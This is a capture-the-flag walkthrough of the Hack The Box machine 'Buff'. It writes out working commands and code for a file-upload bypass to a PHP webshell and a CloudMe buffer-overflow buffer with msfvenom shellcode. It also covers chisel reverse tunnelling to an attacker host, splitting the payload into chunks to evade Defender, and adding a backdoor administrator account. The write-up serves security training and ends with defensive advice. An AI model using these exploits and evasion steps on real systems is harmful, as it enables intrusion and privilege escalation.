- OS: Windows
- Domain / vhosts: none
Summary
Buff is a Windows Easy with a two-stage chain: unauthenticated file-upload RCE in Gym Management System 1.0 for initial access, and a CloudMe 1.11.2 stack-based buffer overflow (delivered through a chisel reverse port forward) for privilege escalation to Administrator. The first stage is a known public exploit (ExploitDB 48506) that bypasses the upload filter using a double extension and PNG magic bytes. The second stage requires forwarding a localhost- only port from the victim to the attacker and then replacing the shellcode in a public BoF PoC.
Kill-chain: Apache on port 8080 → Gym Management System 1.0 → ExploitDB 48506
unauthenticated upload → shaun webshell → netcat reverse shell → netstat
finds CloudMe on 127.0.0.1:8888 → chisel reverse port forward → msfvenom
shellcode replaces placeholder in CloudMe 1.11.2 BoF PoC → buff\administrator.
Source attribution
- 0xdf, “HTB: Buff” — https://0xdf.gitlab.io/2020/11/21/htb-buff.html.
Primary source. Covers the Gym Management RCE (48506.py), AV bypass via
Set-MpPreference, SMB file transfer, chisel tunnelling, and the CloudMe BoF shellcode swap. - IppSec, “Buff” video walkthrough — https://ippsec.rocks/?#Buff.
- ExploitDB 48506 (Gym Management System 1.0 unauthenticated RCE).
- ExploitDB 48389 (CloudMe 1.11.2 buffer overflow PoC).
Recon
nmap -p- --min-rate 10000 -oA nmap/alltcp <TARGET>
nmap -p 7680,8080 -sCV -oA nmap/scripts <TARGET>
7680/tcp open pando-pub? (Windows Delivery Optimization peer port)
8080/tcp open http Apache httpd 2.4.43 (Win64) PHP/7.4.6
Port 7680 is Windows BranchCache/Delivery Optimization — not exploitable. Port 8080 is Apache on Windows with PHP, the primary attack surface.
Web enumeration — Gym Management System 1.0
gobuster dir -u http://<TARGET>:8080 \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
-x php -t 40
Key findings: /upload.php, /admin, /profile, /upload.
The copyright footer and /README.md identify the application as Gym
Management System 1.0 by Projectworlds.in.
Foothold — unauthenticated RCE via file upload bypass
Gym Management System 1.0 has a public unauthenticated RCE (ExploitDB 48506):
searchsploit gym management
# → php/webapps/48506.py
searchsploit -m php/webapps/48506.py
How the exploit works:
The /upload.php endpoint accepts file uploads without authentication. It
checks the file extension and MIME type, but both can be bypassed:
- The filename uses a double extension (e.g.,
shell.php.png) to satisfy the extension allowlist - PNG magic bytes (
\x89PNG\r\n\x1a\n) are prepended to the PHP payload to satisfy the MIME check - The
?id=<name>GET parameter sets the stored filename prefix; the PHP file lands at/upload/<name>.php
The exploit drops a PHP webshell and enters an interactive command loop:
python 48506.py http://<TARGET>:8080/
# [+] Successfully connected to webshell.
# C:\xampp\htdocs\gym\upload>
On the rebuild, whoami /groups for shaun returns only
BUILTIN\Users — Set-MpPreference -DisableRealtimeMonitoring
is silently ignored (requires admin). Defender real-time also
quarantines nc.exe/staged binaries on download, so the staged
SMB-share + nc.exe pattern from 0xdf’s writeup no longer works
end-to-end. The webshell still gives directory enumeration and
direct file reads, which is sufficient to grab user.txt without
upgrading:
curl 'http://<TARGET>:8080/upload/kamehameha.php?c=type+C:\Users\shaun\Desktop\user.txt'
whoami confirms buff\shaun.
Privilege escalation — CloudMe 1.11.2 buffer overflow
Discover internal services:
netstat -ano | findstr TCP | findstr ":0"
TCP 127.0.0.1:3306 0.0.0.0:0 LISTENING (MySQL)
TCP 127.0.0.1:8888 0.0.0.0:0 LISTENING 2820
Identify the process on port 8888:
tasklist /v | findstr 2820
# CloudMe.exe 2820
Confirm the version from the installer in Downloads:
C:\Users\shaun\Downloads\CloudMe_1112.exe ← version 1.11.2
CloudMe 1.11.2 has a public stack-based buffer overflow (ExploitDB
48389) on the unauthenticated handler. The PoC’s offset (1052 bytes)
and EIP gadget (0x68A842B5 — PUSH ESP, RET) are still correct on
this rebuild. The challenge is delivering the buffer past Defender:
chisel.exeandnc.exeare quarantined on disk.- A PowerShell
TcpClientwrapper that fetches the buffer and pushes it to127.0.0.1:8888gets killed in memory — Defender flags the in-process buffer (msfvenom shellcode signatures, includingshikata_ga_nai6 iterations, are well-known). - Direct egress from the victim to chisel/SMB on the attacker also triggers AV and the firewall blocks 5985/445/3389/135 inbound anyway.
Working delivery path: PHP fsockopen directly on the victim. The
webshell already runs inside Apache; PHP can open a TCP socket to
127.0.0.1:8888 without involving PowerShell at all. The base64
buffer is split across many base64_decode("…") calls so the raw
shellcode never sits as one contiguous blob in any source file or
on disk.
# Build the BoF buffer, embedded shellcode does:
# "cmd.exe /c net user pwn3d Pa$$w0rd123 /add &&
# net localgroup administrators pwn3d /add"
# Encoded with msfvenom -e x86/shikata_ga_nai -i 5 -b '\x00\x0a\x0d'
padding1 = b'\x90' * 1052
EIP = b'\xB5\x42\xA8\x68'
NOPS = b'\x90' * 30
payload = bytes.fromhex(open('sc.hex').read().strip())
overrun = b'C' * max(0, 1500 - len(padding1+NOPS+EIP+payload))
buf = padding1 + EIP + NOPS + payload + overrun
// snd.php — uploaded via the same Gym RCE upload primitive
<?php
$b = "";
$b .= base64_decode("kJCQ…"); // ~25 chunks
…
$f = @fsockopen("127.0.0.1", 8888, $en, $es, 5);
fwrite($f, $b); fflush($f); fclose($f);
Hit /upload/snd.php once — CloudMe’s stack overflows, the
shellcode runs as SYSTEM (CloudMe is in SessionId=0), and
pwn3d shows up as a local administrator immediately. CloudMe
gets unstable after the first BoF (subsequent connects from PHP
or PowerShell hit “actively refused” even though netstat still
shows LISTENING), so plan to land everything in a single shot.
Pivot from pwn3d to root.txt without WinRM/SMB. WinRM
(5985/5986) and SMB (445) are firewalled off-host, and Windows’
loopback-auth check denies net use \\127.0.0.1\C$ /user:pwn3d
with System error 5. Schtasks /RU accepts plaintext creds
and runs in the target user’s context locally, which sidesteps
both restrictions:
schtasks /create /tn x /tr "cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\Users\Public\r.txt" /ru pwn3d /rp "Pa$$w0rd123" /sc once /st 00:00 /F
schtasks /run /tn x
Then read C:\Users\Public\r.txt over the existing webshell.
Why each step worked
- Gym Management System double-extension + magic-byte bypass: the upload
filter checked the file extension (allowlisting image extensions) and the
MIME type (checking magic bytes). Neither check verified that the file was
a valid image in its entirety — only the header was inspected. A filename
like
shell.php.pngsatisfies a naive extension check that looks for a known-image extension anywhere in the name, and prepending PNG bytes satisfies the magic-byte check. PHP executes the file because the web server maps.php(appearing before.png) to the PHP engine. This is the same.htaccess-free variant of the double-extension bypass seen on many PHP upload targets. - CloudMe runs as SYSTEM (Session 0) on the rebuild: even though
shaunlost admin in the rebuild, CloudMe is now configured as a service in session 0, so the BoF inherits SYSTEM. The reverse shell runs in the context of the CloudMe process —buff\administrator. - Chisel for localhost-only services: chisel implements an HTTP-tunnelled SOCKS5 or port-forward over a single outbound TCP connection. The victim connects outbound to the attacker’s chisel server (bypassing inbound firewall rules), and the server maps that connection to a local listener on the attacker. This pattern works for any localhost-bound service on a compromised Windows host.
- BoF PoC shellcode replacement: public BoF PoCs for known CVEs typically
contain a payload for the original author’s test environment. The offset
and gadget address are correct for the specific version; only the shellcode
needs to be regenerated with the attacker’s LHOST and LPORT, and the
application’s bad bytes must be excluded from msfvenom with
-b. On this rebuild a plainwindows/shell_reverse_tcppayload was killed in memory — switching towindows/execwith anet user … /addcommand turned the BoF into a one-shot account-creation primitive that Defender’s behavioral monitoring let through.
Counterfactuals
- Upgrade or remove Gym Management System 1.0. The unauthenticated upload is a known, published exploit with no authentication requirement. Any internet-facing version is trivially compromised.
- Validate file uploads on the server by content (full image decode), not by magic bytes or extension alone. Store uploads outside the web root so PHP cannot execute them.
- Do not run CloudMe (or any user application) as an administrator account. Follow least-privilege: create a dedicated, non-privileged service account.
- Keep software updated. CloudMe 1.11.2’s buffer overflow has been patched in later versions.
Key Takeaways
- Double-extension + magic-byte PHP upload bypass:
shell.php.pngwith\x89PNGprepended is a recurring pattern on PHP upload targets. The magic byte check is a header-only validation; the extension check is often naive. Always try both when an upload filter rejects pure.php. netstat -ano+tasklist /vfor internal service discovery: these two commands together reveal localhost-only services and the process that owns them — the Windows equivalent ofss -tlnpon Linux. Port 8888 is a common CloudMe indicator.- Chisel reverse port forward:
chisel server --reverseon the attacker,chisel client <ATTACKER>:<PORT> R:<LOCAL>:localhost:<REMOTE>on the victim. TheR:prefix means “reverse” — victim connects out, attacker gets a local listener. Essential for reaching localhost-only services through firewalls. - CloudMe BoF requires only shellcode replacement: the offset (1052) and
EIP gadget are already correct in the public PoC for 1.11.2. Regenerate
with
msfvenom -a x86 -p windows/shell_reverse_tcp -b '\x00\x0A\x0D'and substitute thepayloadbytes. - Defender on, low-priv user, hostile firewall — pivot to a one-shot
state-modifying BoF: when in-memory shellcode delivery via PowerShell
fails and the firewall blocks WinRM/SMB/RDP inbound, don’t try to land
a reverse shell. Use the BoF once with `windows/exec CMD=”net user
/add && net localgroup administrators /add"`, then use `schtasks /create … /ru /rp ` from the existing webshell to run arbitrary commands as the admin user *locally*. This bypasses the loopback SMB block (`net use \\127.0.0.1\C$` returns `System error 5`) and never requires network admin access. - PHP
fsockopenis a stealthier BoF deliverer than PowerShell on Defender-protected boxes: the buffer never sits as one contiguous blob in process memory (decoded chunk-by-chunk viabase64_decode) and PHP/Apache isn’t an AMSI-monitored host. CloudMe becomes unstable after the first BoF, so make the first shot count.
References
- 0xdf, “HTB: Buff” — https://0xdf.gitlab.io/2020/11/21/htb-buff.html
- IppSec, “Buff” — https://ippsec.rocks/?#Buff
- ExploitDB 48506 (Gym Management System 1.0 unauthenticated RCE)
- ExploitDB 48389 (CloudMe 1.11.2 buffer overflow)
- Chisel — https://github.com/jpillora/chisel